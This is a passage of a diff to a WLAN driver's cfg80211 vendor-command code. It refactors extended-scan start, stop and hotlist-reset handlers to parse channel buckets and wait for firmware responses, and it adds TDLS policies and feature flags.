hddLog(LOG1, FL("Step count %u"), + pReqMsg->buckets[bktIndex].step_count); + + ccmCfgGetInt(pHddCtx->hHal, WNI_CFG_PASSIVE_MAXIMUM_CHANNEL_TIME, &passive_max_chn_time); + ccmCfgGetInt(pHddCtx->hHal, WNI_CFG_PASSIVE_MAXIMUM_CHANNEL_TIME, &active_max_chn_time); + + /* Framework shall pass the channel list if the input WiFi band is + * WIFI_BAND_UNSPECIFIED. + * If the input WiFi band is specified (any value other than + * WIFI_BAND_UNSPECIFIED) then driver populates the channel list + */ + if (pReqMsg->buckets[bktIndex].band != WIFI_BAND_UNSPECIFIED) { + numChannels = 0; + hddLog(LOG1, "WiFi band is specified, driver to fill channel list"); + status = sme_GetValidChannelsByBand(pHddCtx->hHal, + pReqMsg->buckets[bktIndex].band, + chanList, &numChannels); + if (!HAL_STATUS_SUCCESS(status)) { + hddLog(LOGE, + FL("sme_GetValidChannelsByBand failed (err=%d)"), + status); + return -EINVAL; + } + + pReqMsg->buckets[bktIndex].numChannels = + VOS_MIN(numChannels, WLAN_EXTSCAN_MAX_CHANNELS); + hddLog(LOG1, FL("Num channels %d"), + pReqMsg->buckets[bktIndex].numChannels); + + for (j = 0; j < pReqMsg->buckets[bktIndex].numChannels; + j++) { + pReqMsg->buckets[bktIndex].channels[j].channel = + chanList[j]; + pReqMsg->buckets[bktIndex].channels[j]. + chnlClass = 0; + if (CSR_IS_CHANNEL_DFS( + vos_freq_to_chan(chanList[j]))) { + pReqMsg->buckets[bktIndex].channels[j]. + passive = 1; + pReqMsg->buckets[bktIndex].channels[j]. + dwellTimeMs = passive_max_chn_time; + } else { + pReqMsg->buckets[bktIndex].channels[j]. + passive = 0; + pReqMsg->buckets[bktIndex].channels[j]. + dwellTimeMs = active_max_chn_time; + } + + hddLog(LOG1, + "Channel %u Passive %u Dwell time %u ms", + pReqMsg->buckets[bktIndex].channels[j].channel, + pReqMsg->buckets[bktIndex].channels[j].passive, + pReqMsg->buckets[bktIndex].channels[j].dwellTimeMs); + } + + bktIndex++; + continue; + } + + /* Parse and fetch number of channels */ + if (!bucket[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS]) { + hddLog(LOGE, FL("attr num channels failed")); + return -EINVAL; + } + + pReqMsg->buckets[bktIndex].numChannels = + nla_get_u32(bucket[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS]); + hddLog(LOG1, FL("num channels %d"), + pReqMsg->buckets[bktIndex].numChannels); + + if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC]) { + hddLog(LOGE, FL("attr channel spec failed")); + return -EINVAL; + } + + j = 0; + nla_for_each_nested(channels, + bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC], rem2) { + if (nla_parse(channel, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, + nla_data(channels), nla_len(channels), + wlan_hdd_extscan_config_policy)) { + hddLog(LOGE, FL("nla_parse failed")); + return -EINVAL; + } + + /* Parse and fetch channel */ + if (!channel[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL]) { + hddLog(LOGE, FL("attr channel failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].channels[j].channel = + nla_get_u32(channel[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL]); + hddLog(LOG1, FL("channel %u"), + pReqMsg->buckets[bktIndex].channels[j].channel); + + /* Parse and fetch dwell time */ + if (!channel[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME]) { + hddLog(LOGE, FL("attr dwelltime failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].channels[j].dwellTimeMs = + nla_get_u32(channel[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME]); + + hddLog(LOG1, FL("Dwell time (%u ms)"), + pReqMsg->buckets[bktIndex].channels[j].dwellTimeMs); + + + /* Parse and fetch channel spec passive */ + if (!channel[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE]) { + hddLog(LOGE, + FL("attr channel spec passive failed")); + return -EINVAL; + } + pReqMsg->buckets[bktIndex].channels[j].passive = + nla_get_u8(channel[ + QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE]); + hddLog(LOG1, FL("Chnl spec passive %u"), + pReqMsg->buckets[bktIndex].channels[j].passive); + + j++; + } + + bktIndex++; + } + + return 0; +} + + +/* + * define short names for the global vendor params + * used by wlan_hdd_cfg80211_extscan_start() + */ +#define PARAM_MAX \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX +#define PARAM_REQUEST_ID \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID +#define PARAM_BASE_PERIOD \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD +#define PARAM_MAX_AP_PER_SCAN \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN +#define PARAM_RPT_THRHLD_PERCENT \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT +#define PARAM_RPT_THRHLD_NUM_SCANS \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS +#define PARAM_NUM_BUCKETS \ +QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS + +static int __wlan_hdd_cfg80211_extscan_start(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, int dataLen) +{ + tpSirEXTScanStartReqParams pReqMsg = NULL; + struct net_device *dev = wdev->netdev; + hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *pHddCtx = wiphy_priv(wiphy); + struct nlattr *tb[PARAM_MAX + 1]; + int retval; + eHalStatus status; + tANI_U32 request_id; + struct hdd_ext_scan_context *context; + unsigned long rc; + + ENTER(); + + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + + status = wlan_hdd_validate_context(pHddCtx); + if (0 != status) + { + return -EINVAL; + } + /* check the EXTScan Capability */ + if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("EXTScan not enabled/supported by Firmware")); + return -EINVAL; + } + + if (nla_parse(tb, PARAM_MAX, + data, dataLen, + wlan_hdd_extscan_config_policy)) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("Invalid ATTR")); + return -EINVAL; + } + + /* Parse and fetch request Id */ + if (!tb[PARAM_REQUEST_ID]) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr request id failed")); + return -EINVAL; + } pReqMsg = (tpSirEXTScanStartReqParams) vos_mem_malloc(sizeof(*pReqMsg)); @@ -3919,49 +4664,59 @@ static int __wlan_hdd_cfg80211_extscan_start(struct wiphy *wiphy, } pReqMsg->requestId = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]); + tb[PARAM_REQUEST_ID]); hddLog(VOS_TRACE_LEVEL_INFO, FL("Req Id (%d)"), pReqMsg->requestId); pReqMsg->sessionId = pAdapter->sessionId; hddLog(VOS_TRACE_LEVEL_INFO, FL("Session Id (%d)"), pReqMsg->sessionId); /* Parse and fetch base period */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD]) { + if (!tb[PARAM_BASE_PERIOD]) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr base period failed")); goto fail; } pReqMsg->basePeriod = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD]); + tb[PARAM_BASE_PERIOD]); hddLog(VOS_TRACE_LEVEL_INFO, FL("Base Period (%d)"), pReqMsg->basePeriod); /* Parse and fetch max AP per scan */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN]) { + if (!tb[PARAM_MAX_AP_PER_SCAN]) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr max_ap_per_scan failed")); goto fail; } pReqMsg->maxAPperScan = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN]); + tb[PARAM_MAX_AP_PER_SCAN]); hddLog(VOS_TRACE_LEVEL_INFO, FL("Max AP per Scan (%d)"), pReqMsg->maxAPperScan); /* Parse and fetch report threshold */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD]) { + if (!tb[PARAM_RPT_THRHLD_PERCENT]) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr report_threshold failed")); goto fail; } - pReqMsg->reportThreshold = nla_get_u8( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD]); + pReqMsg->reportThresholdPercent = nla_get_u8( + tb[PARAM_RPT_THRHLD_PERCENT]); hddLog(VOS_TRACE_LEVEL_INFO, FL("Report Threshold (%d)"), - pReqMsg->reportThreshold); + pReqMsg->reportThresholdPercent); + + /* Parse and fetch report threshold num scans */ + if (!tb[PARAM_RPT_THRHLD_NUM_SCANS]) { + hddLog(LOGE, FL("attr report_threshold num scans failed")); + goto fail; + } + pReqMsg->reportThresholdNumScans = nla_get_u8( + tb[PARAM_RPT_THRHLD_NUM_SCANS]); + hddLog(LOG1, FL("Report Threshold num scans %d"), + pReqMsg->reportThresholdNumScans); /* Parse and fetch number of buckets */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS]) { + if (!tb[PARAM_NUM_BUCKETS]) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr number of buckets failed")); goto fail; } pReqMsg->numBuckets = nla_get_u8( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS]); + tb[PARAM_NUM_BUCKETS]); if (pReqMsg->numBuckets > WLAN_EXTSCAN_MAX_BUCKETS) { hddLog(VOS_TRACE_LEVEL_WARN, FL("Exceeded MAX number of buckets " "Setting numBuckets to %u"), WLAN_EXTSCAN_MAX_BUCKETS); @@ -3969,140 +4724,69 @@ static int __wlan_hdd_cfg80211_extscan_start(struct wiphy *wiphy, } hddLog(VOS_TRACE_LEVEL_INFO, FL("Number of Buckets (%d)"), pReqMsg->numBuckets); + if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC]) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr bucket spec failed")); goto fail; } - nla_for_each_nested(buckets, - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC], rem1) { - if(nla_parse(bucket, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, - nla_data(buckets), nla_len(buckets), NULL)) { //policy - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla_parse failed")); - goto fail; - } - - /* Parse and fetch bucket spec */ - if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr bucket index failed")); - goto fail; - } - - pReqMsg->buckets[index].bucket = nla_get_u8( - bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX]); - - hddLog(VOS_TRACE_LEVEL_INFO, FL("Bucket spec Index (%d)"), - pReqMsg->buckets[index].bucket); - - /* Parse and fetch wifi band */ - if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr wifi band failed")); - goto fail; - } - pReqMsg->buckets[index].band = nla_get_u8( - bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("Wifi band (%d)"), - pReqMsg->buckets[index].band); - - /* Parse and fetch period */ - if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr period failed")); - goto fail; - } - pReqMsg->buckets[index].period = nla_get_u32( - bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("period (%d)"), - pReqMsg->buckets[index].period); - - /* Parse and fetch report events */ - if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr report events failed")); - goto fail; - } - pReqMsg->buckets[index].reportEvents = nla_get_u8( - bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("report events (%d)"), - pReqMsg->buckets[index].reportEvents); - - /* Parse and fetch number of channels */ - if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS]) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr num channels failed")); - goto fail; - } - pReqMsg->buckets[index].numChannels = nla_get_u32( - bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("num channels (%d)"), - pReqMsg->buckets[index].numChannels); - - if (!bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr channel spec failed")); - goto fail; - } - - j = 0; - nla_for_each_nested(channels, - bucket[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC], rem2) { - if(nla_parse(channel, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, - nla_data(channels), nla_len(channels), - NULL)) { //wlan_hdd_extscan_config_policy here - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla_parse failed")); - goto fail; - } + pReqMsg->homeAwayTime = pHddCtx->cfg_ini->nRestTimeConc; - /* Parse and fetch channel */ - if (!channel[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr channel failed")); - goto fail; - } - pReqMsg->buckets[index].channels[j].channel = nla_get_u32( - channel[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("channel (%u)"), - pReqMsg->buckets[index].channels[j].channel); + if (hdd_extscan_start_fill_bucket_channel_spec(pHddCtx, pReqMsg, tb)) + goto fail; - /* Parse and fetch dwell time */ - if (!channel[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr dwelltime failed")); - goto fail; - } - pReqMsg->buckets[index].channels[j].dwellTimeMs = nla_get_u32( - channel[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("Dwell time (%u ms)"), - pReqMsg->buckets[index].channels[j].dwellTimeMs); + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + INIT_COMPLETION(context->response_event); + context->request_id = request_id = pReqMsg->requestId; + spin_unlock(&hdd_context_lock); - /* Parse and fetch channel spec passive */ - if (!channel[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE]) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("attr channel spec passive failed")); - goto fail; - } - pReqMsg->buckets[index].channels[j].passive = nla_get_u8( - channel[QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("Chnl spec passive (%u)"), - pReqMsg->buckets[index].channels[j].passive); - j++; - } - index++; - } status = sme_EXTScanStart(pHddCtx->hHal, pReqMsg); if (!HAL_STATUS_SUCCESS(status)) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("sme_EXTScanStart failed(err=%d)"), status); - vos_mem_free(pReqMsg); - return -EINVAL; + goto fail; + } + + pHddCtx->extscan_start_time_since_boot = vos_get_monotonic_boottime(); + + /* request was sent -- wait for the response */ + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies(WLAN_WAIT_TIME_EXTSCAN)); + + if (!rc) { + hddLog(LOGE, FL("sme_ExtScanStart timed out")); + retval = -ETIMEDOUT; + } else { + spin_lock(&hdd_context_lock); + if (context->request_id == request_id) + retval = context->response_status; + else + retval = -EINVAL; + spin_unlock(&hdd_context_lock); } vos_mem_free(pReqMsg); EXIT(); - return 0; + return retval; fail: vos_mem_free(pReqMsg); return -EINVAL; } +/* + * done with short names for the global vendor params + * used by wlan_hdd_cfg80211_extscan_start() + */ +#undef PARAM_MAX +#undef PARAM_REQUEST_ID +#undef PARAM_BASE_PERIOD +#undef PARAMS_MAX_AP_PER_SCAN +#undef PARAMS_RPT_THRHLD_PERCENT +#undef PARAMS_RPT_THRHLD_NUM_SCANS +#undef PARAMS_NUM_BUCKETS + static int wlan_hdd_cfg80211_extscan_start(struct wiphy *wiphy, struct wireless_dev *wdev, const void *data, int dataLen) @@ -4126,9 +4810,18 @@ static int __wlan_hdd_cfg80211_extscan_stop(struct wiphy *wiphy, hdd_context_t *pHddCtx = wiphy_priv(wiphy); struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; eHalStatus status; + int retval; + unsigned long rc; + struct hdd_ext_scan_context *context; + tANI_U32 request_id; ENTER(); + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + status = wlan_hdd_validate_context(pHddCtx); if (0 != status) { @@ -4136,7 +4829,8 @@ static int __wlan_hdd_cfg80211_extscan_stop(struct wiphy *wiphy, } /* check the EXTScan Capability */ if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("EXTScan not enabled/supported by Firmware")); @@ -4163,6 +4857,12 @@ static int __wlan_hdd_cfg80211_extscan_stop(struct wiphy *wiphy, reqMsg.sessionId = pAdapter->sessionId; hddLog(VOS_TRACE_LEVEL_INFO, FL("Session Id (%d)"), reqMsg.sessionId); + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + INIT_COMPLETION(context->response_event); + context->request_id = request_id = reqMsg.requestId; + spin_unlock(&hdd_context_lock); + status = sme_EXTScanStop(pHddCtx->hHal, &reqMsg); if (!HAL_STATUS_SUCCESS(status)) { hddLog(VOS_TRACE_LEVEL_ERROR, @@ -4170,6 +4870,24 @@ static int __wlan_hdd_cfg80211_extscan_stop(struct wiphy *wiphy, return -EINVAL; } + /* request was sent -- wait for the response */ + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies(WLAN_WAIT_TIME_EXTSCAN)); + + if (!rc) { + hddLog(LOGE, FL("sme_ExtScanStop timed out")); + retval = -ETIMEDOUT; + } else { + spin_lock(&hdd_context_lock); + if (context->request_id == request_id) + retval = context->response_status; + else + retval = -EINVAL; + spin_unlock(&hdd_context_lock); + } + + return retval; + EXIT(); return 0; } @@ -4197,17 +4915,28 @@ static int __wlan_hdd_cfg80211_extscan_reset_bssid_hotlist(struct wiphy *wiphy, hdd_context_t *pHddCtx = wiphy_priv(wiphy); struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; eHalStatus status; + struct hdd_ext_scan_context *context; + tANI_U32 request_id; + unsigned long rc; + int retval; ENTER(); + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + status = wlan_hdd_validate_context(pHddCtx); if (0 != status) { + hddLog(LOGE, FL("HDD context is not valid")); return -EINVAL; } /* check the EXTScan Capability */ if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("EXTScan not enabled/supported by Firmware")); @@ -4234,14 +4963,36 @@ static int __wlan_hdd_cfg80211_extscan_reset_bssid_hotlist(struct wiphy *wiphy, reqMsg.sessionId = pAdapter->sessionId; hddLog(VOS_TRACE_LEVEL_INFO, FL("Session Id (%d)"), reqMsg.sessionId); + context = &pHddCtx->ext_scan_context; + spin_lock(&hdd_context_lock); + INIT_COMPLETION(context->response_event); + context->request_id = request_id = reqMsg.requestId; + spin_unlock(&hdd_context_lock); + status = sme_ResetBssHotlist(pHddCtx->hHal, &reqMsg); if (!HAL_STATUS_SUCCESS(status)) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("sme_ResetBssHotlist failed(err=%d)"), status); return -EINVAL; } + + /* request was sent -- wait for the response */ + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies(WLAN_WAIT_TIME_EXTSCAN)); + if (!rc) { + hddLog(LOGE, FL("sme_ResetBssHotlist timed out")); + retval = -ETIMEDOUT; + } else { + spin_lock(&hdd_context_lock); + if (context->request_id == request_id) + retval = context->response_status; + else + retval = -EINVAL; + spin_unlock(&hdd_context_lock); + } + EXIT(); - return 0; + return retval; } static int wlan_hdd_cfg80211_extscan_reset_bssid_hotlist(struct wiphy *wiphy, @@ -4256,103 +5007,27 @@ static int wlan_hdd_cfg80211_extscan_reset_bssid_hotlist(struct wiphy *wiphy, return ret; } +#endif /* WLAN_FEATURE_EXTSCAN */ -static int __wlan_hdd_cfg80211_extscan_reset_significant_change( - struct wiphy *wiphy, - struct wireless_dev *wdev, - const void *data, int dataLen) +/*EXT TDLS*/ +static const struct nla_policy +wlan_hdd_tdls_config_enable_policy[QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MAX +1] = { - tSirEXTScanResetSignificantChangeReqParams reqMsg; - struct net_device *dev = wdev->netdev; - hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); - hdd_context_t *pHddCtx = wiphy_priv(wiphy); - struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; - eHalStatus status; - - ENTER(); + [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MAC_ADDR] = {.type = NLA_UNSPEC }, + [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_CHANNEL] = {.type = NLA_S32 }, + [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_GLOBAL_OPERATING_CLASS] = + {.type = NLA_S32 }, + [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MAX_LATENCY_MS] = {.type = NLA_S32 }, + [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MIN_BANDWIDTH_KBPS] = {.type = NLA_S32 }, - status = wlan_hdd_validate_context(pHddCtx); - if (0 != status) - { - return -EINVAL; - } - /* check the EXTScan Capability */ - if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) - { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("EXTScan not enabled/supported by Firmware")); - return -EINVAL; - } +}; - if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX, - data, dataLen, - wlan_hdd_extscan_config_policy)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("Invalid ATTR")); - return -EINVAL; - } +static const struct nla_policy +wlan_hdd_tdls_config_disable_policy[QCA_WLAN_VENDOR_ATTR_TDLS_DISABLE_MAX +1] = +{ + [QCA_WLAN_VENDOR_ATTR_TDLS_DISABLE_MAC_ADDR] = {.type = NLA_UNSPEC }, - /* Parse and fetch request Id */ - if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr request id failed")); - return -EINVAL; - } - - - reqMsg.requestId = nla_get_u32( - tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("Req Id (%d)"), reqMsg.requestId); - - reqMsg.sessionId = pAdapter->sessionId; - hddLog(VOS_TRACE_LEVEL_INFO, FL("Session Id (%d)"), reqMsg.sessionId); - - status = sme_ResetSignificantChange(pHddCtx->hHal, &reqMsg); - if (!HAL_STATUS_SUCCESS(status)) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("sme_ResetSignificantChange failed(err=%d)"), status); - return -EINVAL; - } - - EXIT(); - return 0; -} - -static int wlan_hdd_cfg80211_extscan_reset_significant_change( - struct wiphy *wiphy, - struct wireless_dev *wdev, - const void *data, int dataLen) -{ - int ret = 0; - - vos_ssr_protect(__func__); - ret = __wlan_hdd_cfg80211_extscan_reset_significant_change(wiphy, - wdev, data, - dataLen); - vos_ssr_unprotect(__func__); - - return ret; -} -#endif /* WLAN_FEATURE_EXTSCAN */ - -/*EXT TDLS*/ -static const struct nla_policy -wlan_hdd_tdls_config_enable_policy[QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MAX +1] = -{ - [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MAC_ADDR] = {.type = NLA_UNSPEC }, - [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_CHANNEL] = {.type = NLA_S32 }, - [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_GLOBAL_OPERATING_CLASS] = - {.type = NLA_S32 }, - [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MAX_LATENCY_MS] = {.type = NLA_S32 }, - [QCA_WLAN_VENDOR_ATTR_TDLS_ENABLE_MIN_BANDWIDTH_KBPS] = {.type = NLA_S32 }, - -}; - -static const struct nla_policy -wlan_hdd_tdls_config_disable_policy[QCA_WLAN_VENDOR_ATTR_TDLS_DISABLE_MAX +1] = -{ - [QCA_WLAN_VENDOR_ATTR_TDLS_DISABLE_MAC_ADDR] = {.type = NLA_UNSPEC }, - -}; +}; static const struct nla_policy wlan_hdd_tdls_config_state_change_policy[ @@ -4440,10 +5115,8 @@ static int __wlan_hdd_cfg80211_set_spoofed_mac_oui(struct wiphy *wiphy, pHddCtx->spoofMacAddr.isEnabled = FALSE; } - if (VOS_STATUS_SUCCESS != hdd_processSpoofMacAddrRequest(pHddCtx)) - { - hddLog(LOGE, FL("Failed to send Spoof Mac Addr to FW")); - } + schedule_delayed_work(&pHddCtx->spoof_mac_addr_work, + msecs_to_jiffies(MAC_ADDR_SPOOFING_DEFER_INTERVAL)); EXIT(); return 0; @@ -4890,8 +5563,9 @@ __wlan_hdd_cfg80211_get_supported_features(struct wiphy *wiphy, #ifdef WLAN_FEATURE_EXTSCAN if ((TRUE == pHddCtx->cfg_ini->fEnableEXTScan) && - sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) { - hddLog(LOG1, FL("EXTScan is supported by firmware")); + sme_IsFeatureSupportedByFW(EXTENDED_SCAN) && + sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED)) { + hddLog(LOG1, FL("Enhanced EXTScan is supported by firmware")); fset |= WIFI_FEATURE_EXTSCAN; } #endif @@ -4907,6 +5581,11 @@ __wlan_hdd_cfg80211_get_supported_features(struct wiphy *wiphy, fset |= WIFI_FEATURE_D2AP_RTT; } + if (sme_IsFeatureSupportedByFW(RTT3)) { + hddLog(LOG1, FL("RTT3 is supported by firmware")); + fset |= WIFI_FEATURE_RTT3; + } + #ifdef FEATURE_WLAN_BATCH_SCAN if (fset & WIFI_FEATURE_EXTSCAN) { hddLog(LOG1, FL("Batch scan is supported as extscan is supported")); @@ -4985,6 +5664,88 @@ wlan_hdd_cfg80211_get_supported_features(struct wiphy *wiphy, return ret; } + +static const struct +nla_policy +qca_wlan_vendor_wifi_logger_get_ring_data_policy +[QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_GET_RING_DATA_MAX + 1] = { + [QCA_WLAN_VENDOR_ATTR_WIFI_LOGGER_GET_RING_DATA_ID] + = 